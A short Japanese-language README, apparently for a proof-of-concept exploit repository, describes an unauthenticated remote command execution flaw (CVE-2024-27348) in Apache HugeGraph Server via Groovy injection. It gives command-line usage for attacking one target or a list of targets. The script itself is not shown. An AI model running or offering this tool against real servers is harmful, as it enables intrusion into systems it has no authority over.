kljunowsky/cve-2024-27348Apache HugeGraph Server 未認証RCE - CVE-2024-27348 概念実証エクスプロイト
Apache HugeGraph Server における CVE-2024-27348 の概念実証 (PoC) エクスプロイト RCE
認証されていないユーザーは、Apache HugeGraph Server の Groovy インジェクションを介して OS コマンドを実行できます。
複数ターゲットの悪用 ☣️
python3 CVE-2024-27348.py -f targets.txt -c "command to execute"
単一ターゲットの悪用 🗡
python3 CVE-2024-27348.py -t http://target.tld:8080 -c "command to execute"
| パラメータ | 説明 | タイプ |
|---|---|---|
| -c/--comand | ターゲット上で実行するコマンド | String |
| -t/--target | URL、単一ターゲット | String |
| -f/--file | 複数ターゲット | File |